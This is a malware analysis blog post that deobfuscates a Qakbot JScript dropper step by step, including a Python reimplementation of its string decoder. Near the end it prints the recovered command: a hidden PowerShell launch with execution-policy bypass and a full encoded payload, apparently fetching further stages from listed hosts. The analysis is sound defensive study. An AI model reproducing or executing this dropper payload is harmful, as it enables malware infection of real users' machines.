Qakbot JScript dropper analysis

It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suffering. I mean, reverse engineering. The reverse engineering I like is especially the one where the code is heavily obfuscated, but still readable (e.g. Android, C#, JavaScript). So let’s take a deep breath, and dive into Qakbot JScript dropper depths.

The current analysis is based on the sample 67a65e547d816ffbf22aa6f4566683c49686c114668c16d033c7741de6c9b117. The latter is only the dropper of Qakbot, in its JScript version.

Qakbot is an infamous malware, originally coming as a banking trojan. Times are changing, people too, malware as well. Nowadays, Qakbot is a modular advanced backdoor, often used to distribute pieces of ransomware. Just like other malicious programs, Qakbot is split into different payloads, creating a complex chain of compromise. The current analysis focuses on the JScript version of the downloader.

qbot chain Source: https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/

Disclaimer :warning:

For educational purpose only. Mum used to say that playing with matches was dangerous. Playing with malware too.

0. JScript

JScript is a language based on the ECMAScript standard. To keep it simple, it is akin to JavaScript, but its ability to interact with the Windows Scripting Host makes it much more powerful.

What is quite interesting with ECMAScript languages is the flexibility. Therefore, obfuscation is quite easy and imagination is the limit.

1. First steps

code 0

Authors put at the beginning of the file a lengthy paragraph mimicking an AngularJS license, a popular JavaScript library, which is obviously misleading. Starting from line 25, one can first recognise some recurring patterns in Qakbot JScript droppers:

  • nonsense words
  • dummy routines. One line 26, a routine is created, but it is only made of constant values (return value and local variables), that are only assigned but not used. A lot of dead code like this can be ignored and removed from the file.

2. Decoding setup

code 1

After a bunch of useless dead code, a first anonymous routine is found (line 481). Stroke in red, one can see that it defines three inner routines, and each of them calls Angularbowyangcrossfoot, while only considering two of the arguments that were sent. One line 492, an endless loop starts, computing the variable grisledcorrupt (details on the next figure). The computation relies on the three inner routines, and it returns a number, acting as the conditional stop. While the condition is not met, the code enters the else block. The latter only makes a shift in the array, by rejecting the first element to the end. For example:

>> var x = ['a', 'b', 'c', 'd', 'e', 'f']
undefined
>> x.push(x.shift())
6
>> console.log(x)
(6) ['b', 'c', 'd', 'e', 'f', 'a']

Stroke in blue, this array named hortense comes from the first argument (anitrogenous). Since the routine is anonymous, the arguments can be found at the end (line 564), stroke in green. The array passed as argument comes therefore from Angularnonloyaltypredeterminable. Not shown here, but this routine only returns the array truancies.

To summarise, an array of meaningless constant strings is passed to an anonymous routine which is meant to scramble the array until a condition is met. This array will be used by the decoding routine to rebuild the obfuscated strings.

code 1.1

3. Rebuild the strings

Let’s skip a few lines for the moment and jump to the line 797.

code 2

A series of variables computed by the routine Angularsurrealistic (line 799) are created here. This routine is similar to the ones we saw earlier: it forwards two arguments to Angularbowyangcrossfoot.

It is worth noting something here: in the anonymous routine, the values returned by nongrainwoolder, overanxiety, and syllabatim where strings, and were passed to parseInt. For instance, the first conversion is made as follows:

nongrainwoolder('0x1ea', 0x1ed, '0x212', 0x275, 0x249, 0x1f3, 0x1b7, 0x269, 0x24e, 0x289, 0x296, '0x1c7', '0x1cf', '0x1b3', '0x217', '0x24a', 0x1f3, '0x1d5', '0x24d', '0x284', 0x26b, 0x234, '0x235', 0x289, '0x1ee', '0x21f', '0x25b', '0x224', '0x299', 0x1f2, '0x290', '0x234', '0x237', '0x240', 0x289, '0x1d8', 0x25f, 0x240, '0x1e8', '0x1d6', 0x226, '0x1ee', '0x224', '0x1c0', 0x1e3, 0x250, '0x227', 0x272, 0x278, 0x24e, 0x26c, 0x1fb, '0x1c0', 0x1c3, 0x28e, 0x297, 0x212, '0x237', 0x230, 0x222, '0x20b', 0x1fb, 0x281, 0x1ba, '0x212', 0x244, 0x1bf, '0x1ad', '0x1d1', '0x1d6', '0x1e5', 0x244, '0x1e2', '0x245', 0x1fd)

code 2 JS

If passed to parseInt, the returned number would be 1033011, because JS.

Therefore, strings parsed in the anonymous routine intentionally start with a number to make parseInt succeed, in order to perform the shifting. But now, Angularbowyangcrossfoot will be used to rebuild the strings and unmask the payload.

Let’s now decode these variables (the second one is truncated. More on this a little bit later): code 2 decode1 code 2 decode2

One can quickly see that something smells fishy with these strings. Reversing them reveals Powershell commands (indeed, although the capture was made in the browser, keep in mind that it is normally about JScript, and therefore can interact with Powerhell and the local file system …).

For example, let’s focus on the first variable (Angularmiseducation). The latter is used in the huge line 819: code 2 decode example

The highlighted code is as follows:

Angularmiseducation[
    Angularsurrealistic(0x1dc, 0x1e0, 0x1e6, 0x196, '0x1b4', 0x1f4, 0x1ec, '0x1df', '0x145', 0x1de, '0x1b9', 0x1bc, '0x18e', '0x14b', '0x1a6', 0x164, '0x1d5', 0x20e, '0x1e2', '0x188', '0x172', '0x1c2', '0x1f0', '0x1d9', 0x22b, 0x205, '0x1c6', 0x15b, '0x1e5', '0x228', 0x13b, '0x1b1', 0x14a, '0x225', 0x1b4, '0x16e', '0x201', '0x1e0', 0x1be, 0x1ef, 0x182, 0x1fa, 0x13b, 0x13e, 0x1eb, 0x203, 0x15b, 0x15e, '0x204', '0x18e', '0x13e', 0x1f5, 0x1be, '0x162', 0x15c, '0x173', '0x19e', 0x180, '0x201', 0x1e3, '0x202', '0x13c', 0x146, '0x1f4', 0x1c8, 0x16d, 0x161, 0x1c7, 0x172, '0x1cd', 0x1ca, '0x145', '0x180', '0x200', '0x153')
]('')[
    Angularsurrealistic('0x184', '0x15b', '0x1f2', 0x1b5, 0x1a0, 0x1e6, '0x1d0', '0x152', '0x12f', '0x18f', 0x141, '0x188', '0x17f', 0x1e4, 0x15b, '0x190', '0x1e4', '0x13b', '0x1e7', '0x1fc', '0x1ec', 0x1ee, '0x202', 0x1c0, 0x14b, '0x217', '0x135', '0x18b', '0x17b', 0x15c, '0x1f3', '0x18b', 0x163, '0x180', '0x1a7', 0x13f, 0x1b2, 0x1c6, 0x16b, '0x17f', 0x1ed, 0x1f3, '0x207', 0x1ba, 0x1e6, '0x16a', 0x21a, '0x130', 0x1c3, '0x19d', '0x154', 0x172, 0x178, 0x19b, '0x12f', '0x1f1', 0x20c, 0x15a, '0x133', 0x148, '0x1a3', 0x191, 0x181, 0x13f, 0x153, 0x131, '0x194', 0x163, 0x169, 0x209, 0x220, '0x18f', '0x1eb', 0x1af, 0x14b)
]()[
    Angularsurrealistic('0x195', 0x185, 0x129, 0x1bb, '0x150', 0x19d, 0x137, '0x19f', '0x19a', 0x1de, '0x153', '0x199', 0x18f, '0x11d', 0x10d, '0x137', 0x14c, 0xf3, '0x1b5', 0x185, 0x1a4, '0x147', 0x132, '0x126', '0x198', 0xed, 0x166, 0x144, '0x19f', '0x103', 0x159, '0x189', '0x124', 0xfb, '0x166', '0x17a', '0x191', '0x124', '0x179', 0x11f, '0xed', '0x151', '0x155', 0x12f, '0x1d1', 0x1a5, 0x196, '0x1bf', 0x131, 0x138, 0x103, 0x142, 0x14b, 0x19c, '0x13e', '0x154', 0x11a, 0x1a1, '0x19c', 0x17d, '0x1ce', '0x1b3', '0xee', '0x11a', '0x16e', '0xf2', 0x131, 0x1b5, '0x17e', '0x1a8', 0x194, 0x162, '0x1aa', 0x181, '0xf3')
]('') 

In JScript, it is possible to access the property or a method of an object by either using the dot operator or a named array:

>> String.fromCharCode(65)
'A'
>> String['fromCharCode'](65)
'A'

By decoding the 3 calls to Angularsurrealistic between the square brackets, one can retrieve

Angularmiseducation['split']('')['reverse']()['join']('') 

or, even simpler:

Angularmiseducation.split('').reverse(),join('') 

Totally makes sense, then.

I will not get into the details regarding Angulartheanthropic and Angularextracerebralamerica that we can see on the picture at the beginning of part 3, because they work exactly like Angularsurrealistic: they call Angularbowyangcrossfoot by forwarding 2 arguments.

So far, we have seen that an array of constant strings is mixed to prepare a decoding procedure. Then, some strings are rebuilt based on wrappers for Angularbowyangcrossfoot. Let’s focus now on the decoding procedure itself.

4. Encoding algorithm

Let’s get back to the line 732, where is located the routine Angularbowyangcrossfoot.

code 3

Stroke in red, one can recognise Angularnonloyaltypredeterminable, the array (yet updated) of constant strings. In green, one can see a misleading trick where an inner routine has the same name as its parent. The inner routine, however, only exists in the scope of its parent, meaning that only the parent persists at the global scope. The routine can therefore be simplified as follows (moreover, the second argument is useless): code 3.1

Some work still needs to be done: let’s beautify and simplify all this mess:

code 3.2

In green is stroke a useless block that URL encodes a string, but at the next line, the routine decodeURIComponent reverts the process. In red, the decoding routine is referred to as Angularbowyangcrossfoot['DtwnMJ'], and the arguments being passed to it is tapuyajapers. The latter comes from the array mellilitaouthue (line 765), and the index is based on the argument nonloyaltypredeterminable (remember, the two arguments that were forwarded to Angularbowyangcrossfoot. Only the first one is relevant here). Based on these observations, one can infer that the decoding routine takes as argument the index of a string to decode, in the array of constant values.

Let’s focus now on the routine almosetariqa: code 3.3

The for loop has an uncommon structure. Whereas the statements are normally init;condition;update, it is here written like init;update;condition. It works because the “condition” is halfbeakssteradian = omaguaunparagraphed.charAt(undrainablesourly++); and if the index (undrainablesourly) is greater than the length of omaguaunparagraphed, it returns an empty string, evaluated as false, making the loop stop. Moreover, since JS allows inline assignments, the rightmost part (the “update”) can be used to update values, while still looking like a condition.

To make it more readable, let’s get rid of the ternary statements:

var raspberrylike = undefined;
var halfbeakssteradian = undefined;
for (var prevalency = 0, undrainablesourly = 0; halfbeakssteradian = omaguaunparagraphed.charAt(undrainablesourly++); prevalency++) {
    halfbeakssteradian = luxuriouslyresigns.indexOf(halfbeakssteradian);
    if (prevalency % 4){
        raspberrylike = raspberrylike * 64 + halfbeakssteradian;
        luminescepledgees += String.fromCharCode(255 & raspberrylike >> (-2 * (prevalency+1) & 6)) 
    }
    else{
        raspberrylike = halfbeakssteradian;
    }
}

One can see here that this algorithm works with 4-byte blocks, each of them encoding 3 bytes (because of the modulus operator). In Python, the encoding mechanism can be written as follows (in python 2.7 because why not)

target = "noitacilppa.llehs"
source = "BM9PDgfJAwXWCgeUBgXLAhm"
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='

def decodestr(src):
        raspberrylike = None
        encoded = ""
        for i in range(len(src)):
                s = src[i]
                if i % 4:
                        raspberrylike = raspberrylike * 64 + alphabet.find(s) # x64 means << 6
                        encoded += chr(255 & raspberrylike >> (-2 * (i+1) & 6))
                else:
                        raspberrylike = alphabet.find(s)
        return encoded

def encodestr(t):
        out = ""
        for i in range(0, len(t), 3):
                stream = int(t[i:i+3].encode('hex'), 16)
                size = len(t[i:i+3])
                if size == 2:
                        stream <<= 2
                if size == 1:
                        stream <<= 4
                a = stream >> 18 & 0b111111
                b = stream >> 12 & 0b111111
                c = stream >> 6 & 0b111111
                d = stream & 0b111111
                tmpout = (alphabet[a] + alphabet[b] + alphabet[c] +  alphabet[d])[-size-1:]
                out += tmpout
        return out
print(encodestr(target))
print(decodestr(source))

To encode a trigram in target, the script concatenates their ASCII codes, and splits by 6-bit blocks. For instance, encoding noi works as follows:

noi -> 0x6e6f69
    -> 11011100110111101101001
    -> 11011 100110 111101 101001
    -> 27    38     61     41
alphabet[27] = 'B'
alphabet[38] = 'M'
alphabet[61] = '9'
alphabet[41] = 'P'

5. Uncovering the payload

Starting on line 834, the obfuscated strings are reversed and assembled, to build a Powershell command. Executing it in a browser would not work, because it refers to APIs that the latter does not support.

code 4

Let’s decode the first one. Instead of referring to a property of this, we pass it to console.log:

>> console.log([Angularhagglerscorresponding[Angulartheanthropic('0x527', '0x4c1', '0x4ef', '0x50b', 0x4dd, '0x53e', '0x510', '0x592', 0x4ba, 0x4ed, '0x508', 0x516, '0x4f8', 0x51f, '0x4c3', '0x4cf', '0x58f', 0x510, '0x579', '0x54b', 0x4f1, '0x4b3', 0x51b, 0x56a, 0x592, 0x552, '0x580', '0x4fd', '0x593', '0x540', '0x580', '0x54e', 0x4ba, '0x550', '0x532', 0x58c, '0x53b', 0x4a7, '0x535', '0x593', '0x4da', 0x543, 0x505, '0x558', 0x533, 0x502, 0x51e, '0x542', 0x55c, '0x525', '0x520', 0x4b1, '0x4f6', 0x51f, 0x500, 0x53a, 0x506, 0x595, 0x534, 0x594, '0x509', 0x4b4, '0x578', '0x4af', 0x4e2, 0x4c9, 0x564, 0x595, 0x4ca, '0x548', 0x575, 0x4f1, '0x53c', '0x553', '0x533')]('')[Angularextracerebralamerica(-'0x211', -'0x23b', -'0x234', -0x204, -'0x1b6', -'0x1c8', -0x1c7, -'0x1e8', -'0x269', -0x1ec, -'0x1d9', -0x1fd, -0x1e1, -0x21e, -0x1be, -'0x257', -0x23c, -0x1a5, -0x24a, -'0x255', -0x24f, -0x1c7, -0x1b0, -0x1fa, -0x211, -'0x1a9', -0x24a, -0x24e, -'0x20b', -'0x1f5', -0x226, -'0x208', -0x21b, -0x1ae, -0x203, -0x20b, -'0x1a2', -'0x237', -0x242, -'0x203', -0x268, -0x1f6, -'0x1aa', -'0x237', -0x1c7, -'0x236', -'0x1ce', -'0x266', -0x1f1, -0x1d4, -0x22b, -'0x257', -'0x26c', -0x205, -'0x1a7', -0x18f, -0x26c, -0x1fd, -'0x1c9', -0x230, -'0x25b', -0x19d, -0x241, -0x195, -0x21d, -'0x1d8', -0x1d8, -'0x239', -0x18e, -0x1fb, -'0x228', -'0x218', -0x198, -'0x1ae', -'0x263')]()[Angularextracerebralamerica(-0x245, -'0x23c', -0x2b6, -'0x245', -0x247, -'0x201', -'0x206', -'0x23c', -'0x1fd', -'0x267', -0x29c, -'0x28d', -0x223, -0x1ce, -0x287, -'0x26b', -0x21f, -'0x230', -0x2b4, -'0x20e', -'0x1cc', -0x1e5, -0x239, -'0x1f2', -'0x284', -0x218, -0x1e1, -'0x207', -0x25f, -'0x2ba', -0x263, -'0x251', -'0x257', -'0x1fc', -0x25e, -0x1f1, -'0x267', -'0x22e', -0x230, -'0x256', -0x2be, -'0x294', -0x25e, -'0x1d8', -'0x1f1', -'0x249', -0x206, -0x22d, -0x290, -'0x24a', -0x25b, -0x1e4, -0x2b0, -0x2a5, -0x27d, -0x266, -0x1d2, -'0x230', -0x245, -0x295, -0x2b2, -'0x1ec', -'0x29b', -'0x283', -0x27d, -0x200, -0x264, -0x27c, -'0x2b3', -0x227, -0x298, -'0x1cc', -'0x27f', -'0x245', -0x1dc)]('')]);
 ['WScript']

By decoding the whole line 840, one can get

WScript
    .CreateObject('shell.application')
    .shellexecute('powershell',
        '-WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand'
        + '\x20\x22'
        + 'JAB1AHIAZQ'
        + 'B0AGgAcgBvAHAAbABhAHMAdABpAGMAVwBoAGkAdABoAGUAcgBzAG8AZQB2AGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGQAUQBCAHkAQQBHADQAQQBiAHcAQgAxAEEASABNAEEAVABRAEIAMQBBAEcANABBAGIAZwBCAHYAQQBIAEEAQQBjAHcAQgBwAEEASABNAEEATABnAEIAagBBAEcAOABBACIAOwAkAG0AbwB1AG4AZAB5AEUAeAB1AGQAZQBkACAAPQAgACIAQQB1AHQAbwBiAGkAbwBnAHIAYQBwAGgAeQAiADsAJABIAHkAZAByAG8AcwBwAGgAZQByAGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAHkAQQBHAFUAQQBiAEEAQgBoAEEASABnAEEAWgBRAEIAawBBAEUATQBBAFkAUQBCADAAQQBHADQAQQBZAFEAQgBqAEEARwBnAEEAWgBRAEEAdQBBAEcATQBBAGIAdwBCAHUAQQBIAFEAQQBjAGcAQgBoAEEARwBNAEEAZABBAEIAdgBBAEgASQBBAGMAdwBBAD0AIgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEAMwA7ACQAQQBsAGQAbwBsAGEAcwBlAHMATQBlAGcAYQByAGkAYQBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAZQBRAEIAagBBAEcAOABBAFoAdwBCAHYAQQBHADQAQQBaAFEAQgBCAEEASABNAEEAYwB3AEIAcABBAEcAYwBBAGIAZwBCAGgAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAYwB3AEEAdQBBAEcATQBBAGIAdwBCAHQAQQBHADAAQQBkAFEAQgB1AEEARwBrAEEAZABBAEIANQBBAEEAPQA9AFQAUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHkAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATgB3AEEAMQBBAEEAPQA9AFQAUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYwB3AEIAbQBBAEcAawBBAGMAdwBCAG8AQQBDADQAQQBkAEEAQgB2AEEARwBRAEEAWQBRAEIANQBBAEEAPQA9AFQAUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFUAQQBiAEEAQgBoAEEARwBJAEEAYwBnAEIAaABBAEgAUQBBAFoAUQBBAHUAQQBHAE0AQQBZAFEAQgB6AEEARwBnAEEAIgA7ACQAdQBuAG0AaQByAHQAaABmAHUAbAAgAD0AIAAzADMAOwAkAGMAaABvAGkAYwBlAGwAZQBzAHMAbgBlAHMAcwBHAG8AdgBlAHIAbgBlAHMAcwBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFUAQQBIAGsAQQBjAEEAQgBsAEEARwB3AEEAWgBRAEIAegBBAEgATQBBAFIAZwBCADEAQQBIAEkAQQBZAFEAQgB1AEEARwBVAEEAYwB3AEEAdQBBAEcAWQBBAFkAUQBCAHkAQQBHADAAQQBhAGUASgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAGMAQQBMAGcAQQB5AEEARABFAEEATwBRAEEAdQBBAEQASQBBAE4AUQBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABBAEEAYQBlAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQA4AEEAYwBnAEIAMABBAEcARQBBAGIAQQBCAHAAQQBHAFEAQQBZAFEAQgBsAEEAQwA0AEEAYgBRAEIAdQBBAEEAPQA9ACIAOwAkAE0AdQB0AHQAbwBuAGgAbwBvAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQBMAGcAQQB4AEEARABnAEEATQBRAEEAdgBBAEcAMABBAGEAUQBCAFMAQQBDADgAQQBjAEEAQgBpAEEARgBNAEEAZQBnAEIAVgBBAEgAQQBBAGQAUQBCAGEAQQBIAGcAQQBTAGcAQQA9AG4AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAMQBBAEQAUQBBAEwAdwBBADUAQQBFAGMAQQBVAFEAQQAxAEEARQBFAEEATwBBAEEAdgBBAEQAVQBBAGUAUQBBADIAQQBFAHcAQQBSAGcAQgB5AEEASABnAEEAUwBBAEEAPQBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE8AUQBBAHUAQQBEAEUAQQBOAFEAQQAwAEEAQwA0AEEATQBRAEEAMQBBAEQAZwBBAEwAZwBBADUAQQBEAEUAQQBMAHcAQgBZAEEARwA0AEEAWgBBAEEAdgBBAEQAZwBBAE0AdwBCAHkAQQBGAEkAQQBiAGcAQgBIAEEARQBrAEEATwBRAEEAMQBBAEgARQBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAHAAYQBuAHMAaQBuAHUAcwBpAHQAaQBzAFUAbgBwAGEAdAByAG8AbABsAGUAZAAgAGkAbgAgACQATQB1AHQAdABvAG4AaABvAG8AZAAgAC0AcwBwAGwAaQB0ACAAIgBuACIAKQAgAHsAJABwAG8AbgBnAGkAZABhAGUAVABoAGkAYwBrAGUAcwB0ACAAPQAgADQAMQA1ADsAJAB0AGEAbgB0AGEAbABpAHoAZQByAFQAZQB1AHQAbwBuAGkAYwBpAHMAbQAgAD0AIAA0ADQAMwA7ACQAbABhAHIAZwBlAGgAZQBhAHIAdABlAGQAbAB5AFcAZQBpAGcAaABlAGQAIAA9ACAAIgBPAGIAcwB0AGUAdAByAGkAYwBhAHQAaQBvAG4AIgA7AHQAcgB5ACAAewAkAHAAdQBwAGkAbABsAGEAcgBpAHQAeQBJAG4AbABhAG4AZABlAHIAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAZwBBAEwAZwBBAHkAQQBEAEUAQQBPAEEAQQB1AEEARABFAEEATgBRAEEAdwBBAEMANABBAE0AUQBBAHcAQQBEAEEAQQBYAHYAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHQAQQBHADgAQQBkAFEAQgAwAEEARwBnAEEAWgBRAEIAeQBBAEMANABBAFkAdwBCAHYAQQBHAHcAQQBiAHcAQgBuAEEARwA0AEEAWgBRAEEAPQBYAHYAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHoAQQBHAE0AQQBhAEEAQgB2AEEARwA4AEEAYgBBAEIAdABBAEcAVQBBAGIAZwBBAHUAQQBIAEUAQQBkAFEAQgBsAEEARwBJAEEAWgBRAEIAagBBAEEAPQA9AFgAdgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAWQBBAE4AdwBBAHUAQQBEAFUAQQBNAGcAQQB1AEEARABJAEEATQBBAEEAeABBAEMANABBAE4AdwBBAHkAQQBBAD0APQAiADsAJABQAHIAbwBwAGUAbgBzAGkAbwBuAFMAbwByAGMAZQByAGUAcwBzAGUAcwAgAD0AIAAiAEEAZABtAG8AbgBpAHMAaABlAHIAIgA7ACQAUAByAG8AcwB0AGgAZQBuAGkAYwBDAG8AbgBnAGUAcgB5ACAAPQAgACIAZwByAGEAbgBkAG4AZQBwAGgAZQB3ACIAOwAkAGMAcgBhAGMAawBlAHIAagBhAGMAawAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABwAGEAbgBzAGkAbgB1AHMAaQB0AGkAcwBVAG4AcABhAHQAcgBvAGwAbABlAGQAKQApADsAaQB3AHIAIAAkAGMAcgBhAGMAawBlAHIAagBhAGMAawAgAC0ATwAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFQAaQBkAGUAcgBvAGQAZQBSAGUAaQBuAGgAYQBiAGkAdABhAHQAaQBvAG4ALgByAGkAbABpAG4AZwBTAGgAcgBlAHcAcwA7ACQAdwBoAGUAZQBsAHcAbwByAGsAIAA9ACAAIgBHAGUAbQBtAGEAdABpAG4AZwBJAG4AcwB1AGwAYQB0AG8AcgAiADsAJABIAGUAaQByAGUAcwBzACAAPQAgACIAUABpAHMAdABvAGwAYQBkAGUAUAByAG8AagBlAGMAdAByAGkAeAAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFQAaQBkAGUAcgBvAGQAZQBSAGUAaQBuAGgAYQBiAGkAdABhAHQAaQBvAG4ALgByAGkAbABpAG4AZwBTAGgAcgBlAHcAcwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAA5ADUAOQA1ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBWAEEAQgBwAEEARwBRAEEAWgBRAEIAeQBBAEcAOABBAFoAQQBCAGwAQQBGAEkAQQBaAFEAQgBwAEEARwA0AEEAYQBBAEIAaABBAEcASQBBAGEAUQBCADAAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEgASQBBAGEAUQBCAHMAQQBHAGsAQQBiAGcAQgBuAEEARgBNAEEAYQBBAEIAeQBBAEcAVQBBAGQAdwBCAHoAQQBDAHcAQQBSAEEAQgBzAEEARwB3AEEAVQBnAEIAbABBAEcAYwBBAGEAUQBCAHoAQQBIAFEAQQBaAFEAQgB5AEEARgBNAEEAWgBRAEIAeQBBAEgAWQBBAFoAUQBCAHkAQQBEAHMAQQBRAFEAQgB1AEEARwBjAEEAZABRAEIAcwBBAEcARQBBAGMAZwBBAD0AIgA7ACQAaQBuAGgAYQBiAGkAdABlAGQAbgBlAHMAcwBFAHgAcABvAHMAaQB0AG8AcgBpAGEAbABsAHkAIAA9ACAAIgBOAG8AbgBjAHUAcgB0AGEAaQBsAGkAbgBnACIAOwAkAG8AdQB0AHIAaAB5AG0AZQBkACAAPQAgACIAZABlAG4AbwB0AGUAUABoAG8AdABvAHQAZQBsAGUAZwByAGEAcABoAGkAYwBhAGwAbAB5ACIAOwBiAHIAZQBhAGsAOwBBAG4AZwB1AGwAYQByADsAfQBBAG4AZwB1AGwAYQByADsAfQAgAGMAYQB0AGMAaAAgAHsAJABtAG8AbwBsAGUAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGIAdwBCAHkAQQBIAEkAQQBkAFEAQgB3AEEASABRAEEAYwBnAEIAbABBAEgATQBBAGMAdwBCAFQAQQBIAFUAQQBZAGcAQgB6AEEARwBrAEEAWgBBAEIAcABBAEgAbwBBAFoAUQBCAHkAQQBDADQAQQBZAFEAQgBqAEEASABRAEEAYgB3AEIAeQBBAEEAPQA9AGQAUwBWAGcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATQB3AEEAdQBBAEQARQBBAE0AdwBBAHgAQQBDADQAQQBNAFEAQQAyAEEARABnAEEATABnAEEAMgBBAEQATQBBACIAOwAkAFAAbwBsAHkAcwBwAGUAcgBtAGkAYQBBAG4AdABpAHAAaQBsAGwAIAA9ACAAOQA1ADIAOwB9AH0AJABwAHIAZQB2AGEAbABlAG4AYwB5ACAAPQAgADUAMQA3ADsAJABEAGUAbgBkAHIAaQB0AGkAYwBDAG8AbgB0AHIAaQBiAHUAdABpAG8AbgBzACAAPQAgACIARgBlAGMAaABuAGUAcgBpAGEAbgBEAG8AcgBzAG8AcABvAHMAdABlAHIAaQBhAGQAIgA7ACQAUABvAHQAZQBuAHQAaQBhAHQAbwByAFQAbwB4AGEAZQBtAGkAYwAgAD0AIAAiAG8AcABoAGkAYwBoAHQAaAB5AG8AaQBkAEwAaQBjAGgAZQBuAGkAegBhAHQAaQBvAG4AIgA7AEEAbgBnAHUAbABhAHIAOwA='
        + '\x22', '', 'open', 0);

The big string is passed to Powershell as an encoded command. Such arguments are UTF-16 and then base64 encoded (because windows). By decoding it (and eventually removing the null bytes), one can get

 $urethroplasticWhithersoever = "aAB0AHQAcABzADoALwAvAGIAdQByAG4AbwB1AHMATQB1AG4AbgBvAHAAcwBpAHMALgBjAG8A";
 $moundyExuded = "Autobiography";
 $Hydrospheric = "aAB0AHQAcABzADoALwAvAHUAbgByAGUAbABhAHgAZQBkAEMAYQB0AG4AYQBjAGgAZQAuAGMAbwBuAHQAcgBhAGMAdABvAHIAcwA=";
 Start-Sleep -Seconds 13;
 $AldolasesMegarian = "aAB0AHQAcABzADoALwAvAG0AeQBjAG8AZwBvAG4AZQBBAHMAcwBpAGcAbgBhAHQAaQBvAG4AcwAuAGMAbwBtAG0AdQBuAGkAdAB5AA==TRaAB0AHQAcABzADoALwAvADEANQA5AC4AMgAyADAALgAyADMANAAuADEANwA1AA==TRaAB0AHQAcABzADoALwAvAGMAcgBvAHMAcwBmAGkAcwBoAC4AdABvAGQAYQB5AA==TRaAB0AHQAcABzADoALwAvAEUAbABhAGIAcgBhAHQAZQAuAGMAYQBzAGgA";
 $unmirthful = 33;
 $choicelessnessGovernesses = "aAB0AHQAcAA6AC8ALwBUAHkAcABlAGwAZQBzAHMARgB1AHIAYQBuAGUAcwAuAGYAYQByAG0AaeJaAB0AHQAcAA6AC8ALwA2ADcALgAyADEAOQAuADIANQAwAC4AMgAzADAAaeJaAB0AHQAcABzADoALwAvAE8AcgB0AGEAbABpAGQAYQBlAC4AbQBuAA=="
